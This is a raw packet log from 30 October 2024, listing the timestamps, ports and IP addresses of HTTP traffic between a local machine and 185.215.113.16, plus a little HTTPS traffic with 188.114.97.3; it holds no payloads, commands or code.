Oct 30, 2024 04:35:32.305118084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.305192947 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.305239916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.305241108 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.305255890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.305293083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.305305958 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.305325031 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.393140078 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.393181086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.393362999 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.421204090 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421221972 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421299934 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.421396971 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421413898 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421430111 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421488047 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.421538115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421576023 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421598911 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.421681881 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421690941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.421729088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421752930 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.421814919 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.421864986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421909094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421911001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.421935081 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421951056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.421957016 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.421988964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.421989918 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.422010899 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.422032118 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.422775030 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.422789097 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.422821999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.422835112 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.422836065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.422859907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.422866106 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.422874928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.422908068 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.422949076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.538912058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.538932085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.538947105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.538991928 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539025068 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539040089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539052963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539077997 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539115906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539118052 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539156914 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539182901 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539236069 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539300919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539320946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539347887 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539372921 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539419889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539473057 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539474964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539499998 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539515018 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539520979 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539544106 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539572954 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539894104 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539911032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539927959 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.539947987 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.539984941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.540333033 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.540360928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.540383101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.540427923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.540432930 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.540441990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.540477991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.540502071 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.540637016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.540652037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.540694952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.540724993 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.540783882 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.540829897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.540841103 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.540846109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.540879965 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.540909052 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.656766891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.656781912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.656795979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.656829119 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.656838894 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.656842947 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.656858921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.656888008 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.656917095 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.656958103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.657006025 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.657006979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.657023907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.657052040 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.657073021 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.657196045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.657217979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.657241106 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.657263041 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.657324076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.657361984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.657371998 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.657386065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.657401085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.657407045 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.657427073 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.657450914 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.657727957 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.657749891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.657779932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.657802105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.658224106 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.658262014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.658274889 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.658277035 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.658304930 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.658329010 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.658348083 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.658363104 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.658377886 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.658399105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.658437967 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.702142000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.702159882 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.702250004 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.774522066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.774560928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.774569035 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.774578094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.774584055 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.774674892 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.774698973 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.774717093 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.774760008 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.774769068 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.774782896 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.774805069 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.774841070 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.775005102 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.775054932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.775084019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.775108099 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.775130033 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.775156021 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.775301933 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.775324106 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.775340080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.775346994 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.775374889 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.775403023 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.775784016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.775798082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.775820017 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.775840998 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.775856972 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.775881052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.775939941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.776001930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.776025057 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.776038885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.776071072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.776107073 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.841941118 CET	443	49988	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.842035055 CET	49988	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.843650103 CET	49988	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.843658924 CET	443	49988	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.844057083 CET	443	49988	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.845654011 CET	49988	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.845773935 CET	49988	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.845834017 CET	443	49988	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.862099886 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.862119913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.862134933 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.862189054 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.862241983 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.892174959 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892194986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892226934 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892242908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892257929 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892257929 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.892273903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892296076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.892342091 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.892520905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892544985 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892559052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892565966 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.892604113 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.892733097 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892781973 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.892790079 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892806053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892832994 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.892853022 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892863989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.892868996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.892891884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.892920971 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.893440008 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.893491030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.893492937 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.893524885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.893538952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.893549919 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.893573999 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.893630981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.893644094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.893686056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.893836021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.893851995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.893866062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.893883944 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.893920898 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.980041027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.980072975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.980096102 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.980138063 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.980170965 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.009879112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.009932995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.009948969 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.009965897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.009980917 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.009996891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.010019064 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.010062933 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.010068893 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.010114908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.010117054 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.010165930 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.010201931 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.010253906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.010278940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.010318041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.010329008 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.010341883 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.010358095 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.010365009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.010390997 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.010416031 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.010416985 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.010545969 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.010843039 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.010857105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.010883093 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.010915041 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.011194944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.011234045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.011249065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.011250973 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.011275053 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.011303902 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.011378050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.011408091 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.011424065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.011425972 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.011447906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.011457920 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.011482954 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.011509895 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.097929001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.097949982 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.097965956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.098068953 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.127759933 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.127784967 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.127801895 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.127854109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.127855062 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.127871037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.127887964 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.127907991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.127931118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.127944946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.127948046 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.127981901 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.128035069 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.128170967 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.128194094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.128211975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.128213882 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.128220081 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.128228903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.128321886 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.128353119 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.128940105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.128978014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.128993988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.128998041 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.129019022 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.129019976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.129044056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.129065037 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.129095078 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.129137039 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.129164934 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.129208088 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.129236937 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.129270077 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.129280090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.129286051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.129309893 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.129340887 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.129492044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.129513979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.129534006 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.129558086 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.215555906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.215574980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.215590000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.215637922 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.215655088 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.245366096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.245424032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.245448112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.245450020 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.245503902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.245505095 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.245522976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.245546103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.245548010 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.245583057 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.245752096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.245794058 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.245841980 CET	80	49986	185.215.113.16	192.168.2.7
